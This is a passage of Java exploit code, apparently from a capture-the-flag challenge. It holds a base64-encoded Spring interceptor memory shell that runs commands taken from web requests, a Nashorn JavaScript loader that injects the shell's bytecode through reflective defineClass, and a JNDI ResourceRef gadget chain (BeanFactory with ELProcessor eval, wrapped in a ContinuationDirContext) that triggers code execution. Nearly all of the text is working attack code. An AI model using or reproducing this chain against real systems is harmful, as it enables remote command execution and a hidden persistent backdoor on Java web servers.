hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WemNHOXVjMlU3VEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3VEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMM05sY25ac1pYUXZUVzlrWld4QmJtUldhV1YzT3lsV0FRQU1iVzlrWld4QmJtUldhV1YzQVFBdVRHOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDNObGNuWnNaWFF2VFc5a1pXeEJibVJXYVdWM093RUFEMkZtZEdWeVEyOXRjR3hsZEdsdmJnRUFlU2hNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZER0TWFtRjJZWGd2YzJWeWRteGxkQzlvZEhSd0wwaDBkSEJUWlhKMmJHVjBVbVZ6Y0c5dWMyVTdUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdUR3BoZG1FdmJHRnVaeTlGZUdObGNIUnBiMjQ3S1ZZQkFBSmxlQUVBRlV4cVlYWmhMMnhoYm1jdlJYaGpaWEIwYVc5dU93RUFDWFJ5WVc1elptOXliUUVBY2loTVkyOXRMM04xYmk5dmNtY3ZZWEJoWTJobEwzaGhiR0Z1TDJsdWRHVnlibUZzTDNoemJIUmpMMFJQVFR0YlRHTnZiUzl6ZFc0dmIzSm5MMkZ3WVdOb1pTOTRiV3d2YVc1MFpYSnVZV3d2YzJWeWFXRnNhWHBsY2k5VFpYSnBZV3hwZW1GMGFXOXVTR0Z1Wkd4bGNqc3BWZ0VBQ0dSdlkzVnRaVzUwQVFBdFRHTnZiUzl6ZFc0dmIzSm5MMkZ3WVdOb1pTOTRZV3hoYmk5cGJuUmxjbTVoYkM5NGMyeDBZeTlFVDAwN0FRQUlhR0Z1Wkd4bGNuTUJBRUpiVEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NGJXd3ZhVzUwWlhKdVlXd3ZjMlZ5YVdGc2FYcGxjaTlUWlhKcFlXeHBlbUYwYVc5dVNHRnVaR3hsY2pzSEFPb0JBS1lvVEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OUVUMDA3VEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NGJXd3ZhVzUwWlhKdVlXd3ZaSFJ0TDBSVVRVRjRhWE5KZEdWeVlYUnZjanRNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNodGJDOXBiblJsY201aGJDOXpaWEpwWVd4cGVtVnlMMU5sY21saGJHbDZZWFJwYjI1SVlXNWtiR1Z5T3lsV0FRQUlhWFJsY21GMGIzSUJBRFZNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNodGJDOXBiblJsY201aGJDOWtkRzB2UkZSTlFYaHBjMGwwWlhKaGRHOXlPd0VBUVV4amIyMHZjM1Z1TDI5eVp5OWhjR0ZqYUdVdmVHMXNMMmx1ZEdWeWJtRnNMM05sY21saGJHbDZaWEl2VTJWeWFXRnNhWHBoZEdsdmJraGhibVJzWlhJN0FRQUlQR05zYVc1cGRENEJBQUZsQVFBZ1RHcGhkbUV2YkdGdVp5OU9iMU4xWTJoR2FXVnNaRVY0WTJWd2RHbHZianNCQUNKTWFtRjJZUzlzWVc1bkwwbHNiR1ZuWVd4QlkyTmxjM05GZUdObGNIUnBiMjQ3QVFBSFkyOXVkR1Y0ZEFFQU4weHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5amIyNTBaWGgwTDFkbFlrRndjR3hwWTJGMGFXOXVRMjl1ZEdWNGREc0JBQlZ0WVhCd2FXNW5TR0Z1Wkd4bGNrMWhjSEJwYm1jQkFGUk1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdmMyVnlkbXhsZEM5dGRtTXZiV1YwYUc5a0wyRnVibTkwWVhScGIyNHZVbVZ4ZFdWemRFMWhjSEJwYm1kSVlXNWtiR1Z5VFdGd2NHbHVaenNCQUFWbWFXVnNaQUVBR1V4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaRHNCQUJGaFpHRndkRWx1ZEdWeVkyVndkRzl5Y3dFQUVFeHFZWFpoTDNWMGFXd3ZUR2x6ZERzQkFBOWxkbWxzU1c1MFpYSmpaWEIwYjNJQkFCWk1iMk5oYkZaaGNtbGhZbXhsVkhsd1pWUmhZbXhsQVFCR1RHcGhkbUV2ZFhScGJDOU1hWE4wUEV4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMGhoYm1Sc1pYSkpiblJsY21ObGNIUnZjanMrT3djQTBRY0EwZ2NBNndjQTJBY0EzUWNBM2dFQUNsTnZkWEpqWlVacGJHVUJBQTVOWlcxemFHVnNiREl1YW1GMllRd0FRd0JFQVFBQUFRQUpYSE1xZkFsOERYd0tCd0RzREFEdEFPNE1BTzhBOEFjQThRd0E4Z0JMQndEekRBRDBBUFVCQUFsallYUWdMMlpzWVdjTUFQWUE5d2NBK0F3QStRRDZBUUFSYW1GMllTOTFkR2xzTDFOallXNXVaWElNQUVNQSt3RUFBbHhCREFEOEFQME1BUDRBL3d3QkFBRUJCd0VDREFFREFRUUhBUVVNQVFZQkJ3RUFGMnBoZG1FdmJHRnVaeTlUZEhKcGJtZENkV2xzWkdWeUFRQVpleUpqYjJSbElqb2lNakF3SWl3aWJXVnpjMkZuWlNJNklnd0JDQUVKQndFS0RBRUxBUTRIQU9RTUFROEJFQWNCRVF3QkVnRVRBUUFDSW4wTUFSUUJBUWNBNWd3QkZRRUJBUUFITDNOMFlYUjFjd3dCRmdFWERBQkRBUWNCQUF4RGIyNTBaVzUwTFZSNWNHVUJBQjVoY0hCc2FXTmhkR2x2Ymk5cWMyOXVPMk5vWVhKelpYUTlWVlJHTFRnSEFPY01BUmdCR1F3QkdnRWJCd0VjREFFZEFRY01BUjRBUkF3Qkh3QkVEQUJCQUVJTUFHMEFiZ3dBY1FCeUFRQUdjM1JoWVhKMEJ3RWdEQUVoQVNJQkFEbHZjbWN1YzNCeWFXNW5abkpoYldWM2IzSnJMbmRsWWk1elpYSjJiR1YwTGtScGMzQmhkR05vWlhKVFpYSjJiR1YwTGtOUFRsUkZXRlFIQVNNTUFTUUJKUUVBTlc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMMk52Ym5SbGVIUXZWMlZpUVhCd2JHbGpZWFJwYjI1RGIyNTBaWGgwQVFCU2IzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzl0ZG1NdmJXVjBhRzlrTDJGdWJtOTBZWFJwYjI0dlVtVnhkV1Z6ZEUxaGNIQnBibWRJWVc1a2JHVnlUV0Z3Y0dsdVp3d0JKZ0VuQVFBK2IzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzlvWVc1a2JHVnlMMEZpYzNSeVlXTjBTR0Z1Wkd4bGNrMWhjSEJwYm1jQkFCTmhaR0Z3ZEdWa1NXNTBaWEpqWlhCMGIzSnpCd0VvREFFcEFTb0JBQjVxWVhaaEwyeGhibWN2VG05VGRXTm9SbWxsYkdSRmVHTmxjSFJwYjI0TUFTc0FSQWNBNnd3QkxBRXREQUV1QVM4QkFBNXFZWFpoTDNWMGFXd3ZUR2x6ZEFFQUlHcGhkbUV2YkdGdVp5OUpiR3hsWjJGc1FXTmpaWE56UlhoalpYQjBhVzl1QVFBVmIzSm5MMlY0WVcxd2JHVXZUV1Z0YzJobGJHd3lEQUV3QVJjQkFBSnZhd0VBUUdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OXlkVzUwYVcxbEwwRmljM1J5WVdOMFZISmhibk5zWlhRQkFESnZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5elpYSjJiR1YwTDBoaGJtUnNaWEpKYm5SbGNtTmxjSFJ2Y2dFQUVHcGhkbUV2YkdGdVp5OVRkSEpwYm1jQkFCTnFZWFpoTDJsdkwwbHVjSFYwVTNSeVpXRnRBUUFsYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZEFFQUptcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsYzNCdmJuTmxBUUFRYW1GMllTOXNZVzVuTDA5aWFtVmpkQUVBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0QkFEbGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlR0ZzWVc0dmFXNTBaWEp1WVd3dmVITnNkR012VkhKaGJuTnNaWFJGZUdObGNIUnBiMjRCQUJkcVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaQUVBRjJwaGRtRXZkWFJwYkM5eVpXZGxlQzlRWVhSMFpYSnVBUUFIWTI5dGNHbHNaUUVBTFNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2ZFhScGJDOXlaV2RsZUM5UVlYUjBaWEp1T3dFQUIyMWhkR05vWlhJQkFETW9UR3BoZG1FdmJHRnVaeTlEYUdGeVUyVnhkV1Z1WTJVN0tVeHFZWFpoTDNWMGFXd3ZjbVZuWlhndlRXRjBZMmhsY2pzQkFCZHFZWFpoTDNWMGFXd3ZjbVZuWlhndlRXRjBZMmhsY2dFQUNuSmxjR3hoWTJWQmJHd0JBQkZxWVhaaEwyeGhibWN2VW5WdWRHbHRaUUVBQ21kbGRGSjFiblJwYldVQkFCVW9LVXhxWVhaaEwyeGhibWN2VW5WdWRHbHRaVHNCQUFSbGVHVmpBUUFuS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3lsTWFtRjJZUzlzWVc1bkwxQnliMk5sYzNNN0FRQVJhbUYyWVM5c1lXNW5MMUJ5YjJObGMzTUJBQTVuWlhSSmJuQjFkRk4wY21WaGJRRUFGeWdwVEdwaGRtRXZhVzh2U1c1d2RYUlRkSEpsWVcwN0FRQVlLRXhxWVhaaEwybHZMMGx1Y0hWMFUzUnlaV0Z0T3lsV0FRQU1kWE5sUkdWc2FXMXBkR1Z5QVFBbktFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5MWRHbHNMMU5qWVc1dVpYSTdBUUFIYUdGelRtVjRkQUVBQXlncFdnRUFCRzVsZUhRQkFCUW9LVXhxWVhaaEwyeGhibWN2VTNSeWFXNW5Pd0VBRUdwaGRtRXZiR0Z1Wnk5VGVYTjBaVzBCQUFOdmRYUUJBQlZNYW1GMllTOXBieTlRY21sdWRGTjBjbVZoYlRzQkFCTnFZWFpoTDJsdkwxQnlhVzUwVTNSeVpXRnRBUUFIY0hKcGJuUnNiZ0VBRlNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFZnRUFCbUZ3Y0dWdVpBRUFMU2hNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWRDZFdsc1pHVnlPd0VBRUdwaGRtRXZkWFJwYkM5Q1lYTmxOalFCQUFwblpYUkZibU52WkdWeUFRQUhSVzVqYjJSbGNnRUFERWx1Ym1WeVEyeGhjM05sY3dFQUhDZ3BUR3BoZG1FdmRYUnBiQzlDWVhObE5qUWtSVzVqYjJSbGNqc0JBQWhuWlhSQ2VYUmxjd0VBQkNncFcwSUJBQmhxWVhaaEwzVjBhV3d2UW1GelpUWTBKRVZ1WTI5a1pYSUJBQTVsYm1OdlpHVlViMU4wY21sdVp3RUFGaWhiUWlsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBaDBiMU4wY21sdVp3RUFEV2RsZEZKbGNYVmxjM1JWVWtrQkFBWmxjWFZoYkhNQkFCVW9UR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdLVm9CQUFsaFpHUklaV0ZrWlhJQkFDY29UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVllCQUFsblpYUlhjbWwwWlhJQkFCY29LVXhxWVhaaEwybHZMMUJ5YVc1MFYzSnBkR1Z5T3dFQUUycGhkbUV2YVc4dlVISnBiblJYY21sMFpYSUJBQVYzY21sMFpRRUFCV1pzZFhOb0FRQUZZMnh2YzJVQkFEeHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5amIyNTBaWGgwTDNKbGNYVmxjM1F2VW1WeGRXVnpkRU52Ym5SbGVIUkliMnhrWlhJQkFCaGpkWEp5Wlc1MFVtVnhkV1Z6ZEVGMGRISnBZblYwWlhNQkFEMG9LVXh2Y21jdmMzQnlhVzVuWm5KaGJXVjNiM0pyTDNkbFlpOWpiMjUwWlhoMEwzSmxjWFZsYzNRdlVtVnhkV1Z6ZEVGMGRISnBZblYwWlhNN0FRQTViM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdlkyOXVkR1Y0ZEM5eVpYRjFaWE4wTDFKbGNYVmxjM1JCZEhSeWFXSjFkR1Z6QVFBTVoyVjBRWFIwY21saWRYUmxBUUFuS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuTzBrcFRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQUhaMlYwUW1WaGJnRUFKU2hNYW1GMllTOXNZVzVuTDBOc1lYTnpPeWxNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUE5cVlYWmhMMnhoYm1jdlEyeGhjM01CQUJCblpYUkVaV05zWVhKbFpFWnBaV3hrQVFBdEtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MM0psWm14bFkzUXZSbWxsYkdRN0FRQVBjSEpwYm5SVGRHRmphMVJ5WVdObEFRQU5jMlYwUVdOalpYTnphV0pzWlFFQUJDaGFLVllCQUFOblpYUUJBQ1lvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3S1V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3dFQUEyRmtaQUFoQURzQVB3QUJBRUFBQVFBSkFFRUFRZ0FBQUFnQUFRQkRBRVFBQVFCRkFBQUFMd0FCQUFFQUFBQUZLcmNBQWJFQUFBQUNBRVlBQUFBR0FBRUFBQUFaQUVjQUFBQU1BQUVBQUFBRkFFZ0FTUUFBQUFrQVNnQkxBQUlBUlFBQUFJWUFBZ0FFQUFBQUhCSUNUQ3JHQUJZU0E3Z0FCRTBzS3JZQUJVNHRFZ0syQUFaTUs3QUFBQUFEQUVZQUFBQWFBQVlBQUFBekFBTUFOUUFIQURjQURRQTVBQk1BT3dBYUFEOEFSd0FBQUNvQUJBQU5BQTBBVEFCTkFBSUFFd0FIQUU0QVR3QURBQUFBSEFCUUFGRUFBQUFEQUJrQVVnQlJBQUVBVXdBQUFBZ0FBZndBR2djQVZBQlZBQUFBQlFFQVVBQUFBQUVBVmdCWEFBTUFSUUFBQVpRQUF3QUpBQUFBc2JnQUJ4SUl0Z0FKdGdBS09nVzdBQXRaR1FXM0FBd1NEYllBRGpvR0dRYTJBQStaQUFzWkJyWUFFS2NBQlJJQ09nZXlBQkVaQjdZQUVyc0FFMW0zQUJRU0ZiWUFGcmdBRnhrSHRnQVl0Z0FadGdBV0VocTJBQmEyQUJzNkJDdTVBQndCQUJJZHRnQWVtUUJIdXdBTFdSa0V0d0FmRWcyMkFBNjJBQkE2Q0N3U0lCSWh1UUFpQXdBc3VRQWpBUUFaQ0xZQUpDeTVBQ01CQUxZQUpTeTVBQ01CQUxZQUpySUFKd1Jnc3dBbkE2d0VyQUFBQUFNQVJnQUFBRG9BRGdBQUFFc0FEUUJNQUIwQVRRQXhBRkFBT1FCVEFGMEFWUUJyQUZZQWZnQllBSWdBV1FDVEFGb0FuQUJiQUtVQVhBQ3RBRjBBcndCZ0FFY0FBQUJjQUFrQWZnQXhBRmdBVVFBSUFBQUFzUUJJQUVrQUFBQUFBTEVBV1FCYUFBRUFBQUN4QUZzQVhBQUNBQUFBc1FCZEFGNEFBd0JkQUZRQVh3QlJBQVFBRFFDa0FHQUFZUUFGQUIwQWxBQmlBR01BQmdBeEFJQUFaQUJSQUFjQVV3QUFBQzhBQS80QUxRQUhBR1VIQUdaQkJ3QlUvd0IvQUFnSEFHY0hBR2dIQUdrSEFHb0hBRlFIQUdVSEFHWUhBRlFBQUFCckFBQUFCQUFCQUd3QVZRQUFBQTBEQUZrQUFBQmJBQUFBWFFBQUFBRUFiUUJ1QUFNQVJRQUFBR0FBQlFBRkFBQUFDaW9yTEMwWkJMY0FLTEVBQUFBQ0FFWUFBQUFLQUFJQUFBQmxBQWtBWmdCSEFBQUFOQUFGQUFBQUNnQklBRWtBQUFBQUFBb0FXUUJhQUFFQUFBQUtBRnNBWEFBQ0FBQUFDZ0JkQUY0QUF3QUFBQW9BYndCd0FBUUFhd0FBQUFRQUFRQnNBRlVBQUFBUkJBQlpBQUFBV3dBQUFGMEFBQUJ2QUFBQUFRQnhBSElBQXdCRkFBQUFZQUFGQUFVQUFBQUtLaXNzTFJrRXR3QXBzUUFBQUFJQVJnQUFBQW9BQWdBQUFHb0FDUUJyQUVjQUFBQTBBQVVBQUFBS0FFZ0FTUUFBQUFBQUNnQlpBRm9BQVFBQUFBb0FXd0JjQUFJQUFBQUtBRjBBWGdBREFBQUFDZ0J6QUhRQUJBQnJBQUFBQkFBQkFHd0FWUUFBQUJFRUFGa0FBQUJiQUFBQVhRQUFBSE1BQUFBQkFIVUFkZ0FEQUVVQUFBQS9BQUFBQXdBQUFBR3hBQUFBQWdCR0FBQUFCZ0FCQUFBQWNBQkhBQUFBSUFBREFBQUFBUUJJQUVrQUFBQUFBQUVBZHdCNEFBRUFBQUFCQUhrQWVnQUNBR3NBQUFBRUFBRUFld0JWQUFBQUNRSUFkd0FBQUhrQUFBQUJBSFVBZkFBREFFVUFBQUJKQUFBQUJBQUFBQUd4QUFBQUFnQkdBQUFBQmdBQkFBQUFkUUJIQUFBQUtnQUVBQUFBQVFCSUFFa0FBQUFBQUFFQWR3QjRBQUVBQUFBQkFIMEFmZ0FDQUFBQUFRQmRBSDhBQXdCckFBQUFCQUFCQUhzQVZRQUFBQTBEQUhjQUFBQjlBQUFBWFFBQUFBZ0FnQUJFQUFFQVJRQUFBWEVBQXdBRkFBQUFiZ1N6QUNleUFCRVNLcllBRXJnQUt4SXNBN2tBTFFNQXdBQXVTeW9TTDdrQU1BSUF3QUF2VEFGTkVqRVNNcllBTTAybkFBaE9MYllBTlN3RXRnQTJBVTRzSzdZQU44QUFPRTZuQUFvNkJCa0V0Z0E2dXdBN1diY0FQRG9FTFJrRXVRQTlBZ0JYc2dBUkVqNjJBQkt4QUFJQUtRQXhBRFFBTkFCQUFFa0FUQUE1QUFRQVJnQUFBRTRBRXdBQUFCc0FCQUFkQUF3QUhnQWJBQjhBSndBZ0FDa0FJZ0F4QUNVQU5BQWpBRFVBSkFBNUFDWUFQZ0FuQUVBQUtRQkpBQ3dBVEFBcUFFNEFLd0JUQUMwQVhBQXVBR1VBTHdCdEFEQUFSd0FBQUVnQUJ3QTFBQVFBZ1FDQ0FBTUFUZ0FGQUlFQWd3QUVBQnNBVWdDRUFJVUFBQUFuQUVZQWhnQ0hBQUVBS1FCRUFJZ0FpUUFDQUVBQUxRQ0tBSXNBQXdCY0FCRUFqQUJKQUFRQWpRQUFBQXdBQVFCQUFDMEFpZ0NPQUFNQVV3QUFBQzBBQlA4QU5BQURCd0NQQndDUUJ3Q1JBQUVIQUpJRS93QVNBQVFIQUk4SEFKQUhBSkVIQUpNQUFRY0FsQVlBQWdDVkFBQUFBZ0NXQVEwQUFBQUtBQUVBdGdDeUFRd0FDWEIwQUFoQ2IyOW5hWEJ2Y0hCM0FRQjRlQT09In0BAKN7ImNvZGUiOiIyMDAiLCJtZXNzYWdlIjoick8wQUJYTnlBQk5xWVhaaExuVjBhV3d1UVhKeVlYbE1hWE4wZUlIU0habkhZWjBEQUFGSkFBUnphWHBsZUhBQUFBQUJkd1FBQUFBQmRBQXBiM0puTG1waWIzTnpMbkJ5YjNoNUxtVnFZaTVvWVc1a2JHVXVTRzl0WlVoaGJtUnNaVWx0Y0d4NCJ9AQASL2JsYWNrbGlzdC9qZGsvZ2V0BwC7DADXANgMADkA1gEADENvbnRlbnQtVHlwZQEAHmFwcGxpY2F0aW9uL2pzb247Y2hhcnNldD1VVEYtOAcAvQwA2QDaDADbANwHAN0MAN4A1gwA3wA6DADgADoMAFsAXAwAXwBgAQAGc3RhYXJ0BwDhDADiAOMBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHAOQMAOUA5gEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwA5wDoAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzBwDpDADqAOsBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAOwAOgcAvwwA7QDuDADvAPABAA5qYXZhL3V0aWwvTGlzdAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAVb3JnL2V4YW1wbGUvTWVtc2hlbGwxDADxANgBAAJvawEAEGphdmEvbGFuZy9PYmplY3QBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABBqYXZhL2xhbmcvU3RyaW5nAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAEKEkpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQANZ2V0UmVxdWVzdFVSSQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWFkZEhlYWRlcgEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXdyaXRlAQAFZmx1c2gBAAVjbG9zZQEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD2phdmEvbGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA9wcmludFN0YWNrVHJhY2UBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADYWRkACEAMQA1AAEANgABAAkANwA4AAAABQABADkAOgABADsAAAAvAAEAAQAAAAUqtwABsQAAAAIAPAAAAAYAAQAAABkAPQAAAAwAAQAAAAUAPgA/AAAAAQBAAEEAAwA7AAABrwADAAkAAACtsgACsgADtgAEuAAFEga2AAe2AAg6BbsACVkZBbcAChILtgAMOgYZBrYADZkACxkGtgAOpwAFEg86B7IAAiu5ABABALYAEbIAAwVwmgAKEhI6BKcABxITOgQruQAQAQASFLYAFZkAR7sACVkZBLcAFhILtgAMtgAOOggsEhcSGLkAGQMALLkAGgEAGQi2ABssuQAaAQC2ABwsuQAaAQC2AB2yAAMEYLMAAwOsBKwAAAADADwAAABGABEAAAA3AAkAOAAWADkAJgA6ADoAOwBGAD0ATgA+AFUAQQBZAEQAZwBFAHoARgCEAEcAjwBIAJgASQChAEoAqQBLAKsATgA9AAAAZgAKAFIAAwBCAEMABAB6ADEARABDAAgAAACtAD4APwAAAAAArQBFAEYAAQAAAK0ARwBIAAIAAACtAEkASgADAFkAVABCAEMABAAWAJcASwBMAAUAJgCHAE0ATgAGADoAcwBPAEMABwBQAAAAOAAF/gA2AAcAUQcAUkEHAFP8ABwHAFP/AAMACAcAVAcAVQcAVgcAVwcAUwcAUQcAUgcAUwAA+wBRAFgAAAAEAAEAWQBaAAAADQMARQAAAEcAAABJAAAAAQBbAFwAAwA7AAAAYAAFAAUAAAAKKissLRkEtwAesQAAAAIAPAAAAAoAAgAAAFMACQBUAD0AAAA0AAUAAAAKAD4APwAAAAAACgBFAEYAAQAAAAoARwBIAAIAAAAKAEkASgADAAAACgBdAF4ABABYAAAABAABAFkAWgAAABEEAEUAAABHAAAASQAAAF0AAAABAF8AYAADADsAAABgAAUABQAAAAoqKywtGQS3AB+xAAAAAgA8AAAACgACAAAAWAAJAFkAPQAAADQABQAAAAoAPgA/AAAAAAAKAEUARgABAAAACgBHAEgAAgAAAAoASQBKAAMAAAAKAGEAYgAEAFgAAAAEAAEAWQBaAAAAEQQARQAAAEcAAABJAAAAYQAAAAgAYwA6AAEAOwAAAXEAAwAFAAAAbgSzAAOyAAISILYAEbgAIRIiA7kAIwMAwAAkSyoSJbkAJgIAwAAlTAFNEicSKLYAKU2nAAhOLbYAKywEtgAsAU4sK7YALcAALk6nAAo6BBkEtgAwuwAxWbcAMjoELRkEuQAzAgBXsgACEjS2ABGxAAIAKQAxADQAKgBAAEkATAAvAAQAPAAAAE4AEwAAABsABAAdAAwAHgAbAB8AJwAgACkAIgAxACUANAAjADUAJAA5ACYAPgAnAEAAKQBJACwATAAqAE4AKwBTAC0AXAAuAGUALwBtADAAPQAAAEgABwA1AAQAZABlAAMATgAFAGQAZgAEABsAUgBnAGgAAAAnAEYAaQBqAAEAKQBEAGsAbAACAEAALQBtAG4AAwBcABEAbwA/AAQAcAAAAAwAAQBAAC0AbQBxAAMAUAAAAC0ABP8ANAADBwByBwBzBwB0AAEHAHUE/wASAAQHAHIHAHMHAHQHAHYAAQcAdwYAAQB4AAAAAgB5';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));
resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(resourceRef);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
// jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();
JSONObject jsonObject = new JSONObject();
